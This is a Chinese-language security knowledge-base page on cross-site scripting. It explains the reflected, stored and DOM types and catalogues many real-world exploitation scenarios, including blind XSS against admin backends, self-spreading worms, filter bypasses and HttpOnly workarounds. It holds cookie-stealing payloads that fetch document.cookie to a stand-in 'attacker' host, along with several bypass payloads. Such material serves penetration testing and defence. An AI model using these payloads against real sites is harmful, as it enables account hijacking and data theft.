跳到主要内容

XSS 跨站脚本

XSS 利用的是浏览器对同源页面内脚本的无条件信任:攻击者将恶意脚本注入目标站点的页面,浏览器以目标站点的身份执行,脚本因此能读取 Cookie、发起请求、操控 DOM。 危害的上限由目标站点的权限决定——如果是内部管理系统,XSS 就是一把万能钥匙。

成立前提

用户输入出现在 HTML/JavaScript 输出上下文中,且未经转义或编码,浏览器在渲染时将其作为脚本解析执行。触发不需要特殊权限,任何能访问含漏洞页面的用户都可以成为攻击的传播媒介。

利用链路

反射型 XSS

payload 通过 URL 参数注入,服务端将其原样输出到页面,仅在受害者点击构造链接时触发一次:

/search?q=<script>fetch('//attacker/?c='+document.cookie)</script>

危害相对有限,常用于钓鱼——将带 payload 的链接伪装成正常邮件或消息发给目标。

存储型 XSS(高危)

payload 持久化存储在数据库中,所有访问含漏洞页面的用户均会触发。电商评论区、用户资料字段、富文本编辑器是集中爆发场景。

**打后台(盲打)**是存储型 XSS 的典型高危利用链路:在前台提交 payload,等待管理员在后台审核/查看时触发,劫持管理员 Cookie 后以其身份登录后台:

<img src=x onerror="fetch('//attacker/?c='+document.cookie)">

论坛类产品中,ed2k 协议链接字段是一个容易被忽略的注入点——Discuz 等论坛将 ed2k 链接渲染为可点击格式时,若未对链接内容做转义,可在协议字段中注入 JS 执行:

ed2k://|file|'+payload+'|size/

蠕虫传播是存储型 XSS 危害放大的极端形态:payload 存入一个社区公共节点(如投票选项、公告、排行榜),每次访问触发时自动执行一个"传播动作"(自动投票、自动关注、自动转发),传播动作本身会将带 payload 的内容写入新的存储位置,从而形成自复制链路——一次注入可在短时间内指数级扩散至全部用户。蠕虫成立的关键是找到一个"访问即可写入"的接口,使每个受害者同时成为新的传播源。

DOM 型 XSS

前端 JavaScript 读取 URL fragment(location.hash)、document.referrer 等可控来源后,通过 innerHTMLeval() 等危险 sink 写入页面,不经过服务端,传统服务端输出编码对其无效。

历史样本

SWF 组件跨 CMS 批量影响swfupload.swfuploadify.swf 等上传组件被大量 CMS 复用,组件内部将 URL 参数直接传入 Flash 的 getURL() 执行 JavaScript,单个组件漏洞一次性打穿使用该组件的全部站点。

电商/物流后台盲打:发票抬头、快递备注、收货地址等字段在后台订单审核页面展示时触发,这类字段的危险性常被低估——前台表单校验宽松,且后台审单人员通常具备管理员权限。劫持后可直接操作订单、用户数据乃至系统配置。

移动 APP 客服渠道盲打:原生 APP 内嵌的联系客服/问题反馈表单,提交内容进入客服工作台。客服系统通常是内网系统且防御薄弱,打到客服 Cookie 即可横向进入内网管理体系。

CSS Expression 邮件客户端 XSS:旧版 IE 浏览器支持 CSS Expression 语法,可在样式属性中执行 JS。部分邮件客户端对 HTML 邮件中的 <style> 块过滤不完整,注入 body{background-image:url(javascript:...)} 或 expression 语法,在受害者打开邮件时于浏览器中执行。该向量针对特定 IE 版本,但企业内网环境中 IE 残留比例不低,危害不可忽略。

媒体平台蠕虫传播:社交/内容平台存储型 XSS 配合自动转发/关注接口,一个帐号触发后自动将 payload 扩散给所有关注者,形成指数级传播。

富文本编辑器双触发:过滤了 <script> 标签但未过滤 HTML 事件属性(onerroronload),前台提交时过滤层未触发,管理员后台查看内容时触发。

企业邮件/OA 系统存储型 XSS:通达 OA、WinMail 等企业内部系统的富文本区域过滤薄弱,邮件正文或帖子中注入的 payload 在收件人回复/转发时才触发——回复操作会将原始内容重新渲染,绕过了发件时的过滤。OA 的讨论区、短消息、在线交流发帖均属高频触发点,内网系统一旦被打穿,横向移动空间极大。

文件名字段注入后台:云盘、文件分享、邮件附件等功能在"文件名"字段缺乏过滤,攻击者通过抓包将文件名替换为 XSS payload,管理员在后台浏览文件列表时触发。邮件附件场景中,payload 随邮件投递到任意用户,接收方打开附件预览页即触发,无需受害者主动访问攻击者控制的页面。

注册/用户名字段写入后台:将 XSS payload 作为用户名注册,平台若在后台用户管理列表直接输出用户名字段而不转义,管理员打开用户列表页即触发。同类场景还包括在线报名的"队伍名称"、会员资料的"公司名称"等以为不会被执行的短文本字段。

二维码扫描结果页反射型 XSS:移动端 APP 扫描二维码后,扫描结果通过 URL 参数传入纯静态展示页,前端 JS 读取参数后直接插入 DOM——正则逻辑仅用于提取链接和手机号,并非安全过滤。构造含 payload 的二维码打印或分享出去,受害者用 APP 扫描即触发,且执行在 .qq.com/.weibo.com 等大域下,可读取该域的登录态 Cookie。

搜索结果页与错误提示页的反射型 XSS:搜索功能的反射型 XSS 存在两个高频点:一是搜索词以外的辅助参数(排序方式、筛选类型、分页字段等),主搜参数往往被重点过滤,辅助参数却直接输出到页面或写入 JS 变量;二是无结果/报错页面,服务端将用户输入原样拼入提示文案"未找到 XXX 的结果",反而成为注入窗口。浏览器错误页同理——部分浏览器的自定义错误页通过 URL 参数接收错误描述并渲染,若对 %01javascript: 等前缀处理不全,可绕过协议检测触发脚本执行。

第三方统计与分享组件供应链 XSS:站点引入的第三方统计脚本(页面计数、访客分析)或社会化分享组件(分享按钮、评论插件),其 JS 文件本身内嵌了将 URL 参数直接写入 DOM 的逻辑。攻击者无需触碰目标站点代码,只需构造含 payload 的链接,由第三方脚本负责执行——漏洞归属在组件,但执行上下文是宿主站点的域。这类问题一旦被发现,影响所有引入该组件的站点,批量程度与 SWF 组件漏洞相当。

桌面客户端内嵌 WebView 的 XSS 升级路径:PC 客户端(下载工具、安全软件、词典、视频播放器)的"意见反馈"或"问题提交"功能,通常由内嵌 WebView 渲染,表单数据提交到 Web 后端后在管理界面展示——本质仍是存储型 XSS 盲打链路,只是触发入口从浏览器变成了客户端。当 WebView 基于早期 Electron 或 NW.js 且未关闭 nodeIntegration 时,XSS 可直接调用 Node.js API 读写本地文件乃至执行系统命令,漏洞等级从 XSS 升级为 RCE。

积分兑换与订单结算页的高权限 XSS:电商平台的收货地址、积分兑换订单、航空公司的里程兑换记录,这些字段在用户前台填写时缺乏限制,提交后进入客服或运营后台的"待审核订单"列表。触发者是具有订单操作权限的内部人员,其 Cookie 一旦被劫持,攻击者可直接批量操作订单、修改物流状态、导出用户收货信息。支付/结算场景的 XSS 危害上限远高于普通前台——权限越高的查看者,被打到的 Cookie 价值越大。

国际化/模板参数注入 JS 上下文:站点通过 URL 参数传递语言标识、皮肤模板名称、地区代码等配置项,前端或后端将其拼入 JavaScript 变量赋值语句(如 var tpl = 'user-input'),而非 HTML 标签。HTML 转义对 JS 上下文无效,攻击者用单引号闭合字符串后追加 eval(...) 即可执行任意代码,且不需要尖括号,可绕过大多数针对标签的过滤规则。这类注入点隐藏在非业务参数中,扫描器容易漏过,代码审计时需专门检查 JS 上下文中的拼接逻辑。

富文本编辑器标签嵌套绕过:部分富文本过滤器对黑名单标签采用"替换为空"策略——如将 <svg> 直接删除——而非拒绝整条输入。攻击者可利用这一副作用构造嵌套形式:<scri<svg>pt>alert(1)</sc<svg>ript>,过滤器删除内嵌的 <svg> 后,残余字符拼合还原为完整 <script> 标签,绕过检测后被浏览器执行。同类手法适用于任何"删除特定子串"的过滤逻辑,属于过滤器设计缺陷而非单纯的编码绕过,修复须改为整体拒绝而非局部删除。

Office 文档属性/超链接注入邮件客户端 XSS:攻击者修改 Word 文档的元数据属性(作者、标题、注释字段)或在文档内嵌入 javascript: 超链接,将文档作为附件发送。邮件客户端在渲染附件预览或读取文档属性摘要时,若未对这些字段做输出编码,payload 会在收件人打开预览时执行。该向量的特殊性在于注入点在文档内部而非邮件正文,绕过了邮件正文的 XSS 过滤层,且收件人对附件内容的信任度远高于外部链接。

移动端转码代理重激活失效 XSS:移动浏览器或搜索引擎提供的"网页转码/加速"代理,会对原始页面重新解析渲染。原本因服务端过滤而失效的 XSS 代码(如已被转义为 HTML 实体的 payload),经代理二次处理时可能被错误反解码还原为可执行形式,在代理的执行上下文中触发。受害者使用的是转码代理的域,Cookie 作用域也随之变为代理域——若该代理域下有其他敏感服务,横向影响面将超出原始目标站点。

微信/微博开放平台消息字段 XSS:公众号或开放平台回复接口中的图文消息摘要(summary)、自定义菜单描述等字段,部分平台在私信展示侧或 WebView 渲染侧过滤不足。攻击者通过调用开放平台 API 写入构造好的 payload,当用户在官方客户端收到消息并点击查看时触发——执行上下文是平台内嵌 WebView,Cookie 作用域为平台主域,可读取该域下的登录态凭证。

Flash ExternalInterface 持久化 XSS Rootkit:Flash 控件的 ExternalInterface.call 将 SWF 参数未经转义直接传入 JS 执行,结合 Flash 的跨域策略可构造跨站调用链。当该 SWF 宿主在高权限域时,payload 能以 Rootkit 形式持续驻留——每次用户访问含该 Flash 的页面即重新触发,难以通过常规清除手段彻底消除。

投诉/留言表单盲打:投诉与留言功能的运营逻辑决定了管理员必然逐条阅读,这构成比普通评论区更稳定的触发路径。与订单类后台不同,留言内容通常未设字数或格式限制,payload 写入空间更宽松,且触发时效短——提交后数分钟内即可等到管理员查看。

黑名单修复遗漏事件处理器:修复 XSS 时仅过滤了 <script> 标签,而未处理 <img><video> 等标签的事件属性(onerroronload),绕过等同于从未修复。这类修复模式本质是维护黑名单,每次只堵一个口子,攻击者切换一个标签即可重新触发,根本出路是改为白名单模型。

存储型 XSS 的 Self-XSS 边界:并非所有存储型 XSS 都能横向传播——若 payload 所在页面仅对发帖人自己可见(个人草稿、私密日记、仅自己可见的收藏),触发对象只有发帖人本身,无法劫持他人 Cookie。Self-XSS 的实际危害取决于是否存在可将其升级为 CSRF+XSS 组合利用的接口。

盲打获取 PII 而非 Cookie:投稿、报名、问卷等表单的后台审核页面,管理员 Cookie 未必是最有价值的目标。注入 payload 后通过外带通道可将页面完整内容传出,包括其他投稿人的姓名、联系电话、住址、身份证号等结构化隐私信息——危害范围从"一个管理员账号"扩展至"批量用户 PII 泄露"。

昵称/用户名字段精准钓鱼:用户昵称字段存入 XSS payload 后,访问该用户空间、评论列表或排行榜时触发。因目标受众具备相同的平台属性(同一社区的作者、同一游戏的玩家),可用于对特定群体发动精准钓鱼,而非无差别撒网。

客服账号权限高于普通用户:游戏官网或电商平台的存储型 XSS 打到的 Cookie 中,客服与运营账号的实际可操作范围往往大于普通注册用户——可访问订单管理、用户封禁、虚拟货币发放等功能。打到客服 Cookie 后直接登录账号管理中心,影响范围显著超出"一个普通账号被盗"的预期。

HttpOnly 等防御机制部分生效场景:盲打后台拿到的 Cookie 若设置了 HttpOnlydocument.cookie 无法读取,无法直接登录。但这并不意味着攻击完全失效——payload 仍可在管理员浏览器中执行任意操作(截图页面、发起内部 API 请求、修改页面内容),只是利用路径从"劫持 Cookie 登录"转变为"以管理员身份执行操作"。

Flash 附件投递 XSS:攻击者将包含 getURL("javascript:...") 调用的 ActionScript 编译为 SWF,作为邮件附件发送给目标用户。与嵌入页面的 Flash 不同,附件以受害者主动打开为触发条件,且绕过了邮件正文的内容过滤——邮件平台通常只扫描正文和链接,对附件内容的脚本执行能力缺乏限制。该向量适用于有针对性的鱼叉攻击场景。

评论/社区内容 SVG 注入<svg onload=alert(...)> 语法在不少富文本过滤器中未被识别为危险标签——过滤器黑名单主要针对 <script><img>,SVG 命名空间下的事件属性常被遗漏。医疗、教育、垂直社区等类型的平台尤为集中,这类平台内容审核逻辑复杂,过滤逻辑往往由业务开发人员自行实现,覆盖不完整。

邮件平台持久化账号后门:邮件 Web 端 XSS 与普通反射型 XSS 危害上限不同——payload 执行后可向账号设置中写入持久化脚本(如修改签名、过滤器或自动转发规则),使每次用户进入邮箱时均重新触发攻击者定义的 JS 代码。这相当于在邮件账号内植入了一个 Rootkit:即使受害者修改密码,只要持久化配置未被清除,攻击者的代码就会持续执行。

站内私信/短消息系统定向 XSS:私信或短消息的标题与正文字段,在收件人打开消息时触发。与公开评论区不同,私信场景的受害者是攻击者精确指定的目标,不依赖第三方用户偶然访问,触发确定性更高。若平台私信不设字数或格式限制,payload 空间宽松;且收件人打开私信属于主动行为,触发率接近百分之百。

旅游/服务行业问答与评论字段:旅游类平台的行程攻略描述、问答内容、照片说明,以及个人资料中的社交网址字段(Facebook 主页链接、个人网站 URL),若将用户填写的 URL 直接渲染为可点击链接而不转义,可在 href 属性中注入 javascript: 协议或通过属性闭合注入事件处理器。这类字段被认为是"只写链接的地方",过滤逻辑常被简化为"是否以 http 开头",忽略了协议注入以外的属性逃逸风险。

论坛活动/相册等功能模块 XSS 批量触发:大型社区平台的子功能模块(活动发布、相册命名、投票选项)往往由不同团队维护,过滤策略不统一。发布活动的 XSS payload 若出现在平台首页的"最新活动"区块,会对所有进入首页的访客触发,而不只是访问该活动详情页的用户,传播效果接近存储型蠕虫。

HTML5 data URI base64 编码绕过<embed src="data:text/html;base64,PHNjcmlwdD4..."> 将完整 HTML 页面编码为 base64 后通过 data URI 内联注入。部分过滤器只检查 src 属性的协议前缀是否为 javascript:,而不识别 data:text/html 作为可执行上下文,导致编码后的脚本绕过过滤并在浏览器中执行。该手法也可用于在 iframe 中嵌入包含 XSS 代码的完整页面,进一步绕过针对 script 标签的正则检测。

博客/内容平台多跳中转 XSS 链:目标站点由于跨域限制无法直接外传 Cookie 时,攻击者可借助 iframe 嵌套或中间跳板页构造多跳传输链:第一跳 XSS 加载攻击者控制的中间页,中间页再通过 postMessage 或 JSONP 回调将目标域 Cookie 传递出去。这类链路在单站审查时难以发现危害,因为每一跳单独看似乎只是"加载了一个 iframe",需要跨多个域的组合分析才能还原完整利用路径。

购物/O2O 平台积分兑换奖品为实物:电商或 O2O 平台的 XSS 盲打不只停留在"拿到 Cookie"层面。若后台账号具备订单操作权限,攻击者可在管理员浏览器中直接发起修改订单状态、标记为已发货、批量导出收货地址等操作——这些动作无需拿到 Cookie 重新登录,而是以管理员当前已认证的会话在其浏览器中静默执行,整个操作链不留额外登录日志。

期刊采编/学术投稿系统留言 XSS:学术采编系统通常由专业系统集成商统一开发,部署在大量高校、期刊和科研机构,同一代码库的漏洞一次性覆盖使用该系统的全部机构。投稿人与编辑之间的留言/沟通功能,标题字段缺乏过滤时可盲打到编辑账号,而编辑账号往往具备查看全部投稿、导出作者信息的权限,危害从单一机构扩展至整个系统的全体用户。

APP 反馈渠道盲打后台财务系统:移动 APP 的意见反馈功能将用户提交内容发送到运营后台,若后台展示时未做过滤,反馈文本中的 XSS payload 会在运营人员查看时触发。这类后台往往集成了用户管理、订单操作、充值发放等高权限功能,打到运营 Cookie 后可直接对账户余额、提现记录、优惠券进行操作,危害不限于"一个账号被盗"。

CMS 默认表单通用型 XSS:部分 CMS(如早期 SiteServer)的"提交表单"功能由框架统一渲染,默认配置不做任何过滤,且大量站点直接使用官方默认模板部署。一旦该功能存在 XSS,影响的是所有使用同一版本同一默认配置的全部站点,构成通用型漏洞——单个漏洞一次覆盖数千部署实例。

多字段输入拆分拼接突破长度限制:表单字段设有最大字符数限制,完整 payload 无法一次性写入。攻击者利用同一展示页面上的多个独立字段分段存入代码片段,浏览器渲染时各字段输出相邻,JS 引擎将它们视为完整语句执行。每个片段单独看都是无害文本,过滤器逐字段校验时全部通过,拼合后才构成有效攻击代码。

前端 JS 读取一次存入多点输出:存储型 XSS 注入后,同一份数据被不同业务模块在多个展示页面复用——例如在问答平台的"个人动态""好友人脉""近期共享"等模块分别输出。攻击者只需注入一次,所有输出点均自动触发,无需逐点攻击;且在各输出点查看时的调用关系不同,所触发的 Cookie 归属也不同,一次注入可同时影响多类用户。

开放平台 API 写入消息字段 XSS:社交平台私信、微博"被关注"通知等消息字段,可通过开放 API 直接写入构造内容而无需访问前端表单。攻击者绕过前端的输入校验,直接调用 API 将 payload 注入消息字段;收件人在客户端打开消息时触发,执行上下文是平台主域,可读取该域下所有登录态 Cookie。与手动构造攻击相比,API 写入可批量投递、定向指定目标,触发确定性接近百分之百。

登录日志 / 访问日志 IP 字段 XSS:部分系统在记录用户登录或操作日志时,直接将 HTTP 请求头中的 X-Forwarded-For 写入数据库,且后台日志展示页面未对该字段做输出编码。攻击者在登录时伪造 X-Forwarded-For 为 XSS payload,管理员打开日志审计页面时即触发——这是一个无需用户可见表单即可向后台写入恶意代码的入口,绕过了所有针对前台输入框的过滤逻辑。

论坛签到 / 扩展插件字段 XSS:大型论坛(如 Discuz)的签到插件、积分商城、任务系统等第三方扩展,并非核心代码库的一部分,安全审计覆盖率低。签到内容、任务备注、插件配置字段在插件自身渲染逻辑中往往缺乏过滤,且这些字段的内容会在公开页面展示给所有访问者,存储型 XSS 一旦注入即对所有进入该页面的用户生效。

图片点击事件 DOM XSS:论坛图片点击后由 JS 读取 src 属性拼入新 <img> 标签进行放大预览,而非原样回显。攻击者通过发帖时抓包将图片地址替换为含事件属性的值(如 x' onload='...),服务端仅校验图片标签合法性,JS 拼接时将其作为字符串拼入 HTML 属性,触发方式由"打开页面"变为"点击图片"——需要用户主动交互,但伪装度更高,过滤器也更难识别。

个人资料页面 Rootkit 化:用户个人资料(昵称、自我介绍、主页链接)存入 XSS payload 后,每次访问该用户资料页时均会重新触发。若 payload 劫持了资料修改的"保存"按钮,使用户每次更新资料时都自动带上恶意代码,则形成持久性 Rootkit——用户主动修改资料的操作反而强化了攻击驻留,修改密码也无法清除。

媒体管理系统供应链 XSS:政企机构使用的专用媒体管理或采编系统,由少数软件厂商统一开发,代码库相同,部署在大量机构。评论区或内容提交字段的 XSS 一旦发现,影响所有使用该系统的机构——单个漏洞批量打穿政府、事业单位、国企等高价值目标,与 CMS 通用型漏洞的批量化路径相同,但因目标性质特殊,危害等级更高。

在线聊天 / IM 消息字段 XSS:电商平台买家与卖家之间的站内聊天功能(类似 IM 的实时消息),消息发送时客户端校验被绕过,payload 经 API 直接提交。接收方在消息列表中查看时触发,XSS 在双方浏览器中均可执行;若该聊天系统与支付或订单模块共享 Cookie,触发后可直接操作未结算订单,将 XSS 与支付逻辑漏洞串联。

QQ 空间自定义模块 javascript: 协议注入:用户在个人空间的"高级设置→自定义模块"中填写图片地址等配置项时,部分平台将该值直接赋给 hrefsrc 属性而不校验协议。填入 javascript: 协议伪装为图片地址,访问者打开该空间页面时即触发,payload 长期驻留在用户的空间配置中,每次有人访问均重新执行,形成反复触发的持久化 XSS 后门。

前台过滤靠客户端 JS 单独拦截:部分站点的 XSS 过滤逻辑只在前端 JavaScript 中实现,服务端对提交数据不做任何验证。攻击者绕过方式极为简单——使用 Burp Suite 等代理抓包后直接修改请求体,带有 payload 的数据绕过前端 JS 校验直接进入数据库。这类防御模式本质上是零防御,任何能修改 HTTP 请求的工具均可绕过,在移动 APP 场景中尤为集中。

相册/图集名称批量触发首页:平台首页的"最新相册""热门活动"等区块直接从数据库读取用户提交的相册名称或活动标题并渲染,未经转义。攻击者在相册名或活动名中注入 payload,一旦该内容被推送到首页聚合展示,所有访问首页的用户均会触发——而非仅限于访问该具体相册页的用户,传播范围从单一详情页扩大到全站流量入口。

宽字节编码突破 HTML 过滤层:站点使用 GBK/GB2312 编码时,%df%3c 这类双字节序列会被解码为一个合法的 GBK 汉字加上 <,过滤器按 UTF-8 解析时无法识别 <,而浏览器按页面实际编码渲染时则还原出完整标签。这类绕过在同时满足"GBK 编码页面"和"过滤器编码假设不一致"两个条件时成立,私信、评论等富文本字段均可作为入口,服务端输出时的编码处理才是防御的真正关口。

oninput 等低覆盖 HTML5 事件绕过黑名单:过滤器黑名单通常重点覆盖 onerroronloadonmouseover 等高频事件属性,而 oninput(输入框值变动触发)、onbeforeinputoninvalid 等 HTML5 新增事件属性常被遗漏。在含有输入验证码或表单互动的页面,用户在输入框键入字符时即可无感知触发 payload,无需额外点击操作。黑名单逻辑覆盖不完整是根本原因,事件属性空间随 HTML5 规范持续扩展,白名单才能闭合这一缺口。

URL 编码 payload 服务端解码还原:部分站点对提交内容按字面字符串过滤(检查是否含 <script> 等),但在写入数据库前会对 URL 编码序列进行 urldecode 处理。攻击者将完整 payload URL 编码后提交,过滤层扫描到的是 %3cscript%3e 等无害字符串,写库后被还原为 <script> 标签,展示侧渲染时执行。该问题的本质是过滤与解码操作的顺序颠倒——应当先解码再过滤,而非先过滤再解码。

邮件 Web 端源码编辑器表单注入:部分邮件 Web 客户端在"源码编辑"模式下未过滤 <form> 标签的 action 属性和 method 值,攻击者在邮件正文中插入指向攻击者服务器的登录表单,收件人误操作提交时,账号密码被直接 POST 到攻击者控制的接口。与传统 XSS 不同,该手法不依赖 JS 执行——纯 HTML 表单即可实现凭证窃取,即使浏览器禁用了 JavaScript 也可触发,且用户对"邮件里有个登录框"的警惕性远低于对外部钓鱼链接。

好友申请/加好友留言字段定向 XSS:发送好友申请时的附言字段,仅对接收方可见,天然具备定向性。对方打开好友请求列表时触发,不依赖公开页面曝光,触发对象是攻击者精确指定的用户。在垂直社区(教育、医疗、职场)中,该字段常被认为是"只有几十个字的文本",过滤逻辑最为薄弱,而接收方打开申请属于主动行为,触发率接近百分之百。

私信用户 ID 遍历批量投递 XSS:站内私信或消息接口若未做身份校验,攻击者可按数字规律枚举用户 ID,向所有账号批量发送含 payload 的消息。每个接收方打开消息时触发,执行上下文是平台主域。与蠕虫传播不同,该路径不依赖受害者已感染后再扩散,而是直接由攻击者通过 API 一次性写入全体目标——攻击规模的上限是平台注册用户总量,且不存在"已感染者才能触发"的前置条件。

威客/任务平台留言板 XSS 定向触发:自由职业或众包任务平台的任务留言区,任务发布方与接单方之间的沟通记录对双方可见。留言中注入 payload 后,任务发布方每次进入任务详情页即触发——触发对象是对任务有实际权限(支付、确认完成、评价)的一方,Cookie 被劫持后可直接操作未结算任务的状态和资金流向。该场景的特殊性在于:受害者是主动进入"自己的"任务页,触发无需任何额外诱导。

JS 图片预览函数拼接 src 属性导致 DOM XSS:论坛或社区的图片点击放大功能由前端 JS 读取图片的 src 属性后拼入新 <img> 标签(如 "<img src='" + src + "' />" ),不经过服务端。攻击者在发帖时通过抓包将图片 src 值替换为含事件属性的字符串(如 x' onload='payload),服务端只校验了图片标签本身,JS 拼接时将其嵌入 HTML 属性字段,构成 DOM XSS。触发条件为用户点击图片,需主动交互,但在以图片为主要内容的板块中点击率极高,且 payload 对常规扫描器不可见。

微博/社区投票选项 XSS:微博、社区的"插入投票"功能允许用户自定义选项文本,该字段在投票发布后由所有投票参与者的页面渲染,若未对选项内容做输出编码,任何访问投票的用户均会触发。与评论区 XSS 不同,投票选项字段常被开发者视为"枚举选择"而非"自由文本输入",过滤逻辑单独维护、覆盖最薄弱;一旦该投票被嵌入动态流或首页展示,传播范围超出原发帖页面。

XSS 与弱口令/社工库的串联利用:XSS 盲打后台未收到 Cookie(如设置了 HttpOnly),但 payload 执行后可将后台页面内容(含管理员邮箱、手机号等 PII)外带出去。结合社工库或公开信息检索,可获取该人员在其他平台使用的历史密码,进而用撞库方式直接登录后台——整个链路不需要绕过 Cookie 保护。该模式揭示了 HttpOnly 防御的边界:它仅阻止了 Cookie 读取,无法阻止页面内容外泄,也无法阻止以受害者身份在其浏览器中静默执行操作。

CSRF 辅助绕过 Referer 限制完成 XSS 传播:部分平台的 XSS 写入接口要求 Referer 来自本域,攻击者无法从外部直接调用。解决方案是构造一个宿主在目标域的页面(利用任意存储型 XSS 注入点)作为"中间站",受害者访问该页面触发第一个 XSS,JS 在目标域上下文中执行,自动调用写入接口将新 payload 传播给其他用户——Referer 此时来自目标域,通过了校验。CSRF+XSS 的组合利用使得原本需要用户主动点击外部链接的攻击链缩减为"访问任意含漏洞页面"即可触发,传播路径从"外部诱导"变为"域内自循环"。

活动/心愿互动功能结合通知系统 XSS 蠕虫:社交平台的"发心愿""求祝福"等互动活动,允许用户选定好友发送站内消息通知。XSS payload 写入活动内容字段后,可遍历好友列表逐一发送含有活动链接的通知消息;收到通知的好友点击链接访问活动页,再次触发 payload,继续扩散给下一批好友。与普通蠕虫不同,该传播依托平台自有通知机制(受害者对站内消息信任度高),且每一跳均在平台主域执行,Cookie 归属稳定——传播速度和最终覆盖规模取决于平台活跃用户之间的关注关系密度。

同一字段多系统输出过滤不一致:昵称、用户名等字段被写入后,会在平台自身的多个子系统(论坛、安全中心、群组、空间)分别输出,各子系统由不同团队维护,过滤策略互相割裂。主站对该字段转义,子系统可能原样输出;某些子系统在页面中将用户名拼入已有的 <script> 块而非 HTML 标签,导致无需尖括号即可通过闭合字符串执行代码。发现此类漏洞的方法是追踪同一数据的全部输出点,而不只测试主要展示页面。

JS 上下文注释符注入:站点将用户输入拼入 JavaScript 注释或字符串上下文时,过滤器只检查 HTML 标签特征字符(<>),而对 *//*// 等 JS 语法符号不做处理。攻击者用 */alert(1)/* 闭合已有注释块后插入执行语句,不需要任何 HTML 标签,完全绕过基于标签检测的过滤器。日志标题、CMS 分类描述、内容摘要等短文本字段在后端被拼入 JS 变量赋值时尤为集中。

富文本编辑器代码模式切换注入:部分富文本编辑器支持在"可视化模式"和"源码/代码模式"之间切换。前台以可视化模式发帖时,提交逻辑会对内容做 XSS 过滤;而通过抓包将请求参数切换为"源码模式"标识后提交,服务端可能走不同的处理分支,跳过可视化模式的过滤逻辑。尤其是图片 src 字段,在可视化模式下服务端校验图片标签合法性,切换模式后图片地址被直接写入数据库,未经事件属性过滤。

关注/被关注通知加载历史对话 XSS:社交平台在用户"关注"或"被关注"时,会自动加载双方历史对话记录并渲染在通知页面。若对话内容中存储了 XSS payload,这条通知的加载操作会同时触发执行——不需要受害者主动访问攻击者的主页或内容页,仅接收关注通知本身就会触发。该场景的特殊性在于触发路径是平台的主动推送,而非受害者的主动浏览,防御难度高于普通存储型 XSS。

HTML 实体编码绕过后端关键字过滤:后端在保存内容之前对 <script>onerror 等关键字做字符串匹配过滤,但未对内容先进行 HTML 实体解码。攻击者将 payload 中的部分字符替换为 HTML 实体形式(如 t 写成 &#116;),过滤器扫描原始字符串时未命中黑名单,写入数据库的仍是实体编码序列;浏览器渲染时自动将实体还原为原始字符,构成完整的可执行代码。与 URL 编码绕过的本质相同——过滤在解码之前执行,顺序颠倒导致防御失效。

iOS 原生 APP 分享功能跨平台触发:iOS 原生 APP 内的 WebView 出于安全沙盒限制不弹出 JS 对话框,使 alert() 类测试在 APP 内不可见,开发者据此误判"XSS 无法触发"。然而当用户在 APP 内点击"分享到浏览器"或"用浏览器打开"后,相同 URL 在系统浏览器中完整渲染,存储的 payload 即触发。此外,头像/图片上传功能若允许上传 HTML 格式文件,该文件被分享或链接引用后在浏览器中作为完整页面执行,构成另一类不依赖 XSS 过滤绕过的攻击载体。

应用内聊天结合收款接口串联攻击:电商或 O2O 平台买卖双方的站内 IM 聊天若存在 XSS,payload 在对方浏览器中执行后可直接操作当前页面的 DOM——包括伪造收款金额、预填支付表单、自动点击确认按钮。与单纯劫持 Cookie 不同,该路径在受害者已认证的会话中静默执行支付相关操作,无需攻击者单独登录,资金操作不产生异地登录日志。支付场景中 XSS 的危害上限直接取决于受害者在平台的资产规模和支付权限。

微博图片字段 POST 参数注入:社交平台发布图片的接口中,图片字段(如 upimg)仅验证了是否为合法图片链接,而未过滤字段值中的双引号。攻击者通过抓包在图片地址值中追加 " onload="payload,服务端将该值直接拼入 <img src="..."> 属性时,双引号闭合了 src 属性,后续 onload 被解析为独立的事件属性并执行。该注入点隐藏在 POST 请求的图片参数中,通常不在扫描器的 XSS 检测范围内,容易被忽略。

用户名发站内消息传播 XSS:用户名字段含 XSS payload 后,若平台允许给其他用户发站内私信,消息发送方的名字会随消息一起投递到收件人的消息列表——收件人打开消息时,发件人用户名作为发件人字段渲染,触发 XSS。与单纯"用户名写入后台"不同,该路径不依赖管理员查看,任何被主动发信的普通用户均可成为受害者,攻击者对触发对象有完全控制权,横向传播不需要等待第三方访问。

音乐/媒体论坛 Flash 链接字段注入:音乐、游戏等媒体类论坛的发帖富文本编辑器支持"插入在线音乐/视频"功能,该功能允许用户填写外部 Flash 或媒体链接地址。该字段在后端未经转义写入帖子内容,页面渲染时构造 <embed><object> 标签。攻击者在链接地址中注入 XSS payload(通常以 " 闭合属性后追加事件属性),绕过了针对评论正文的过滤逻辑——媒体链接字段常被视为独立的"URL 输入框"而不走富文本过滤管道。

报名/预约表单字段定向打运营:在线预约(房间预订、活动报名、到店预约)的入住人姓名、联系人信息等字段,由运营或客服在后台处理订单时查看。与电商收货地址类似,这类字段在填写端通常有前台格式校验(中文姓名、手机号)但无 XSS 过滤,而后台处理页面的受理方往往兼具账号管理、折扣审批、用户封禁等高权限。其中"真实姓名"字段的特殊性在于:平台出于实名制要求往往完全不限制字符集,认为只要能存储中英文就够了,实际过滤最为薄弱。

投诉他人功能打平台运营账号:举报/投诉功能的运营逻辑要求平台方逐条人工审核,形成比普通评论更稳定的触发路径。举报内容通常包含"被举报对象描述"和"补充说明"两个富文本字段,前者字数和格式不受限制;平台方审核账号兼备封号、删帖、用户信息查看等操作权限,打到该账号后可对任意用户执行管理操作。该向量的关键优势在于:攻击者主动发起投诉,触发时效完全可控,且与"等待管理员随机进入后台"相比,触发等待时间极短。

Referer 校验被宿主域存储型 XSS 绕过:部分平台的 API 接口要求请求 Referer 必须来自本域,从外部直接构造 CSRF 请求会被拒绝。若平台同时存在任意存储型 XSS,攻击者将后续 payload 注入该存储点,受害者访问含漏洞页面时,JS 在平台自身域下执行,调用受 Referer 限制的接口时 Referer 来自目标域本身,通过校验。这使得 Referer 防护仅在"无存储型 XSS"的前提下有效——两者任意一项存在,防线即告瓦解,组合利用使攻击范围从"需要外部诱导点击"扩展到"访问任意含漏洞页面即触发"。

盲打 HttpOnly 后站内操作外带页面内容:盲打后台时若 Cookie 设有 HttpOnly,document.cookie 不可读,但 payload 仍可在管理员浏览器中执行任意 JS——包括读取当前页面的全部 DOM 内容并通过外带通道发出。页面内容往往包含其他用户的 PII(手机号、邮箱、身份证号)、系统内部路径、未公开的功能入口,甚至含有内嵌的明文凭证。这一路径将 HttpOnly 场景的危害从"无法劫持 Cookie"重新定向为"批量外泄后台数据"——攻击目标从"一个管理员登录态"升级为"后台全量可见数据"。

